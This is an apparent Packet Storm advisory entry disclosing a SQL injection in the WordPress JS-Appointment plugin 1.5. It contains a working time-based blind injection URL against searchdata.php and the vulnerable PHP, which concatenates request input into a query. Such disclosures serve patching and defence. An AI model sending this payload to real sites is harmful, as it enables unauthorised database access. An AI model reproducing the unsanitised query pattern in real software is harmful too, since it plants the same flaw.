WordPress JS-Appointment 1.5 SQL Injection

2011-08-27T00:00:00
ID PACKETSTORM:104518
Type packetstorm
Reporter Miroslav Stampar
Modified 2011-08-27T00:00:00

Description

                                        
                                            `# Exploit Title: WordPress Js-appointment plugin <= 1.5 SQL Injection Vulnerability  
# Date: 2011-08-26  
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)  
# Software Link: http://downloads.wordpress.org/plugin/js-appointment.1.5.zip  
# Version: 1.5 (tested)  
# Note: magic_quotes has to be turned off  
  
---  
PoC  
---  
http://www.site.com/wp-content/plugins/js-appointment/searchdata.php?search_action=searchadv&cat=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20  
  
---------------  
Vulnerable code  
---------------  
if (!empty($_REQUEST['search_action'])) {  
switch($_REQUEST['search_action']) {  
case 'searchadv':  
require_once(PLUGIN_PATH_ALLBOOK."/libs/class.book.php");  
$settings = allbook_get_settings();  
  
if ($_REQUEST["cat"]) {  
$category = $_REQUEST["cat"];  
} else {  
$settings = allbook_get_settings();  
$category = $settings['allbook_catinit'];  
}  
//$times = create_time_range($settings['allbook_datastart'], $settings['allbook_dataend'], $settings['allbook_datarange']);  
$categoryquery = mysql_query("SELECT * FROM wp_resservation_cat WHERE id= '".$category."'");  
$rowcategory = mysql_fetch_array( $categoryquery );  
...  
  
`